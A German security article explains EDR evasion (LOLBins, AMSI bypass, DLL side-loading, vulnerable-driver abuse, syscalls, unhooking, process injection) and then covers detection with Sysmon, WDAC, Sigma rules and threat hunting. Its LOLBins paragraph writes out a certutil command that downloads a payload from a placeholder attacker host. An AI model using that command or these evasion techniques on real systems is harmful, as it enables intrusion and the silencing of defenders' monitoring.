EDR Evasion & Living-off-the-Land — wenn Angreifer unsichtbar werden

LOLBins & AMSI Bypass — das Betriebssystem als Angriffswaffe

Living-off-the-Land Binaries (LOLBins) sind legitime, von Microsoft signierte Windows-Binärdateien, die für bösartige Zwecke missbraucht werden können. Das LOLBAS-Projekt (lolbas-project.github.io) katalogisiert über 400 LOLBins mit dokumentierten Missbrauchsszenarien. Die am häufigsten von Ransomware-Gruppen genutzten: certutil.exe (Payload-Download: certutil -urlcache -split -f https://evil.com/payload.exe), mshta.exe (Ausführung von HTA-Payloads mit JScript/VBScript), rundll32.exe (DLL-Side-Loading und Export-Funktionsaufruf), regsvr32.exe (Scriptlet-Ausführung über COM — „Squiblydoo“-Technik), msiexec.exe (Remote MSI-Installation von Payloads), bitsadmin.exe (Datei-Download über BITS-Dienst — überlebt Neustarts).

AMSI (Antimalware Scan Interface) ist Microsofts Schnittstelle, über die Scripting-Engines (PowerShell, JScript, VBScript, .NET) ihren Code vor der Ausführung an die installierte Sicherheitslösung zur Prüfung senden. AMSI ist eine kritische Verteidigungsschicht — und deshalb ein Primärziel für Angreifer. AMSI-Bypass-Techniken 2026: Patching in Memory — die amsi.dll wird im Prozessspeicher manipuliert, sodass die Scan-Funktion (AmsiScanBuffer) immer „clean“ zurückgibt. Reflection-basiert — .NET-Reflection wird verwendet, um interne AMSI-Felder auf null zu setzen. Hardware Breakpoint — ein Hardware-Breakpoint auf der AmsiScanBuffer-Funktion ändert den Rückgabewert vor der Rückkehr. CLR Profiler — ein bösartiger CLR-Profiler wird geladen, der die .NET-Runtime manipuliert, bevor AMSI initialisiert wird.

• PowerShell Constrained Language Mode (CLM) als Verteidigung: Constrained Language Mode beschränkt PowerShell auf einen sicheren Befehlssatz: Kein .NET-Zugriff, keine COM-Objekte, kein Add-Type (C#-Kompilierung), kein Invoke-Expression. Aktivierung über AppLocker oder WDAC (Windows Defender Application Control) — wenn eine Application-Control-Policy aktiv ist, wird PowerShell automatisch in CLM versetzt. Umgehung: Angreifer wechseln zu C#-basierten Tools (SharpCollection), BOFs (Beacon Object Files) für Cobalt Strike, oder nutzen PowerShell Version 2 (hat kein AMSI, kein Script Block Logging — muss per GPO deinstalliert werden!).
• .NET Assembly Loading — In-Memory-Ausführung: Statt Dateien auf die Festplatte zu schreiben (wo sie von AV gescannt werden), laden fortgeschrittene Angreifer .NET-Assemblies direkt in den Speicher: Assembly.Load(byte[]) lädt eine .NET-DLL aus einem Byte-Array — keine Datei auf der Festplatte, kein Dateisystem-Scan. Kombiniert mit AMSI-Bypass: Der geladene Code wird weder von AMSI noch von dateibasiertem AV erkannt. Tools wie SharpCollection (Sammlung offensiver .NET-Tools: SharpHound, Rubeus, Seatbelt, SharpDPAPI) werden regelmäßig so ausgeführt. Verteidigung: ETW-basierte Erkennung — das Microsoft-Windows-DotNETRuntime ETW-Provider protokolliert Assembly-Loads inklusive Hash.
• DLL Side-Loading & DLL Proxying: DLL Side-Loading: Ein legitimes, von Microsoft signiertes Programm sucht beim Start nach bestimmten DLLs — der Angreifer platziert eine bösartige DLL mit dem erwarteten Namen neben der EXE. Das signierte Programm lädt die bösartige DLL — für EDR sieht es aus, als würde ein vertrauenswürdiges Programm Code ausführen. DLL Proxying: Die bösartige DLL leitet alle legitimen Funktionsaufrufe an die echte DLL weiter (Proxy), führt aber zusätzlich den Schadcode aus. Das Programm funktioniert normal — keine Abstürze, keine Auffälligkeiten. 2026-Trend: Signed Binary Proxy Execution (MITRE T1218) ist eine der häufigsten EDR-Evasion-Techniken.
• LOLDrivers — Kernel-Level-Evasion: LOLDrivers (loldrivers.io) sind verwundbare, aber legitim signierte Windows-Treiber, die für Kernel-Level-Angriffe missbraucht werden. Technik: Bring Your Own Vulnerable Driver (BYOVD) — der Angreifer lädt einen verwundbaren, signierten Treiber (z. B. RTCore64.sys von MSI, dbutil_2_3.sys von Dell), exploited die Schwachstelle für Kernel-Lese-/Schreibzugriff, und deaktiviert den EDR-Sensor aus dem Kernel heraus. Microsoft hat mit Vulnerable Driver Blocklist (seit Windows 11 22H2) bekannte verwundbare Treiber geblockt, aber die Liste ist nicht vollständig und wird nur langsam aktualisiert.

EDR-Internals & Evasion — wie Endpoint-Schutz wirklich funktioniert

Um EDR-Evasion zu verstehen, muss man wissen, wie EDR-Produkte arbeiten. Moderne EDR-Lösungen setzen auf mehrere Telemetrie-Quellen: User-Mode Hooks — Die EDR-DLL (falcon.dll, mde_agent.dll, etc.) wird in jeden Prozess injiziert und hängt sich an kritische Windows-API-Funktionen (NtCreateProcess, NtWriteVirtualMemory, NtCreateThread). Jeder Aufruf dieser Funktionen wird abgefangen, analysiert und an den EDR-Sensor gemeldet. Kernel Callbacks — Der EDR-Treiber registriert sich über PsSetCreateProcessNotifyRoutine, ObRegisterCallbacks, CmRegisterCallback für Benachrichtigungen über Prozesserstellung, Handle-Operationen und Registry-Änderungen. ETW (Event Tracing for Windows) — Einige EDR-Produkte konsumieren ETW-Provider für Netzwerk-, DNS-, .NET- und PowerShell-Telemetrie. Minifilter-Treiber — Dateisystem-Überwachung über Filter-Manager-Minifilter.

• Direct Syscalls & Indirect Syscalls: Wenn die EDR-DLL User-Mode-API-Hooks setzt, kann ein Angreifer diese umgehen, indem er die Windows-API überspringt und direkt den Kernel System Call (Syscall) aufruft. Direct Syscall: Der Angreifer implementiert den Syscall-Stub selbst in Assembly (mov eax, SSN; syscall) — die ntdll.dll wird gar nicht aufgerufen. Indirect Syscall: Der Angreifer springt in die Syscall-Instruktion innerhalb der echten ntdll.dll — der Aufruf sieht für Stack-Analysen aus, als käme er von ntdll, aber die Parameter wurden vom Angreifer kontrolliert. Tools: SysWhispers3, HellsGate, TartarusGate. Verteidigung: Kernel-Telemetrie (Kernel Callbacks) statt User-Mode-Hooks — die kann der Angreifer nicht einfach umgehen.
• Unhooking — die EDR-Hooks entfernen: Statt die Hooks zu umgehen, kann der Angreifer sie entfernen: Technik: Eine frische Kopie der ntdll.dll von der Festplatte lesen (oder aus KnownDlls oder einer suspendierten Prozess-Kopie), die originalen Bytes der gehookten Funktionen über die modifizierten Bytes schreiben — die Hooks sind weg. Varianten: Full Unhooking (gesamte ntdll.dll durch frische Kopie ersetzen), Selective Unhooking (nur bestimmte Funktionen unhooking), Perun's Fart (unhooking durch Laden der ntdll aus einer suspendierten Instanz). Einige EDR-Produkte erkennen Unhooking durch periodische Hook-Integritätsprüfungen.
• EDR-Sensor-Blinding: Fortgeschrittene Techniken, die den EDR-Sensor vollständig deaktivieren: PPL (Protected Process Light) — Der EDR-Prozess läuft als PPL; ein Angreifer mit BYOVD-Kernel-Zugriff kann den PPL-Schutz entfernen und den Prozess beenden. ETW Patching — Die EtwEventWrite-Funktion wird im Speicher gepatcht, sodass keine Events mehr geschrieben werden — die Telemetrie verstummt. Minifilter Detach — Der EDR-Minifilter-Treiber wird über FltUnregisterFilter deregistriert — keine Dateisystem-Überwachung mehr. Kernel Callback Removal — Die registrierten Kernel-Callbacks werden über Kernel-Read/Write entfernt (erfordert BYOVD). Tool: EDRSilencer, EDRSandblast.
• Process Injection Techniken (2026): Moderne Process-Injection-Techniken für EDR-Evasion: Early Bird APC Injection — Payload in einem suspendierten Prozess per APC-Queue einschleusen, bevor die EDR-DLL geladen wird. Module Stomping / DLL Hollowing — eine legitime, geladene DLL wird mit Schadcode überschrieben — der Speicherbereich hat bereits die richtigen Berechtigungen und gehört zu einem signierten Modul. Thread Stack Spoofing — der Aufrufstapel (Call Stack) wird gefälscht, damit schlafende Threads nicht als verdächtig erkannt werden. Phantom DLL Hollowing — eine DLL wird aus einer Transacted-File (NTFS-Transaktion) geladen, die anschließend zurückgerollt wird — die Datei existiert nie auf der Festplatte.

Detection Engineering — die Verteidiger-Perspektive

Trotz aller Evasion-Techniken können Verteidiger durch geschichtete Erkennung (Defense in Depth) die meisten Angriffe identifizieren. Der Schlüssel ist: Nicht auf eine einzelne Telemetrie-Quelle verlassen. Wenn der Angreifer User-Mode-Hooks umgeht, erkennt die Kernel-Telemetrie den Angriff. Wenn er den EDR-Sensor deaktiviert, erkennt das Heartbeat-Monitoring den Ausfall („der Sensor meldet sich nicht mehr“ ist an sich ein kritisches Signal). Wenn er LOLBins nutzt, erkennen Sigma-Regeln die anomale Verwendung (z. B. certutil.exe mit -urlcache-Parameter wird von keinem Systemadministrator routinemäßig genutzt). Die beste Verteidigung 2026: Sysmon + Microsoft Defender for Endpoint + Sigma-Regeln + SIEM-Korrelation.

• Sysmon — die unverzichtbare Telemetrie-Quelle: Sysmon (Microsoft Sysinternals) ist ein kostenloser Systemdienst, der detaillierte Telemetrie in die Windows Event Logs schreibt — unabhängig vom EDR-Produkt. Kritische Events: Event 1 (Process Create — inklusive vollständiger Kommandozeile, Parent Process, Hashes), Event 3 (Network Connection — welcher Prozess kontaktiert welche IP/Port), Event 7 (Image Load — welche DLLs werden geladen), Event 8 (CreateRemoteThread — Process Injection), Event 10 (Process Access — LSASS-Zugriff für Credential Dumping), Event 22 (DNS Query — C2-Domain-Erkennung). Empfohlene Config: SwiftOnSecurity Sysmon Config als Basis, angepasst an Ihre Umgebung.
• WDAC (Windows Defender Application Control): WDAC ist die stärkste Prävention gegen LOLBin-Missbrauch und unsigned Code: Nur explizit erlaubte Anwendungen dürfen ausgeführt werden — alles andere wird blockiert, unabhängig davon, ob es signiert ist oder nicht. WDAC-Policies können auf Code-Signatur (Publisher), Dateihash, Pfad oder ISG (Intelligent Security Graph — Microsoft-Reputationsdatenbank) basieren. Im Audit-Modus wird nichts blockiert, nur protokolliert (Event 3076/3077) — ideal für die Einführungsphase. Kombination mit Smart App Control (Windows 11) für Consumer-Geräte. WDAC blockiert auch verwundbare Treiber (BYOVD-Prävention) über die integrierte Driver Blocklist.
• Sigma-Regeln für LOLBin-Erkennung: Sigma (github.com/SigmaHQ/sigma) ist ein offenes Regelformat für SIEM-Systeme mit über 4.000 Detection Rules. Beispiele für LOLBin-Detections: proc_creation_win_certutil_download.yml (certutil als Downloader), proc_creation_win_mshta_javascript.yml (mshta führt JavaScript aus), proc_creation_win_powershell_amsi_bypass.yml (bekannte AMSI-Bypass-Patterns in PowerShell-Kommandozeilen). Sigma-Regeln können in Splunk SPL, Microsoft Sentinel KQL, Elastic EQL, QRadar AQL und andere Formate konvertiert werden — über pySigma oder SigmaHQ SigConverter.
• Threat Hunting: Anomalie-basierte Erkennung: Über regelbasierte Erkennung hinaus: Baseline erstellen — welche Prozesse laufen normalerweise auf Ihren Servern? Welche PowerShell-Skripte? Welche Netzwerkverbindungen? Stack Counting — zählen Sie, wie häufig jede Prozess-Kommandozeile vorkommt. Seltene Ausführungen (Frequency ≤ 1) auf Servern sind verdächtig. Parent-Child-Anomalien — excel.exe startet powershell.exe? svchost.exe startet cmd.exe? Diese Parent-Child-Beziehungen sind fast immer bösartig. Network Beaconing — C2-Kommunikation zeigt regelmäßige Intervalle (z. B. alle 60 Sekunden) — statistische Analyse der Verbindungs-Timestamps deckt Beaconing auf.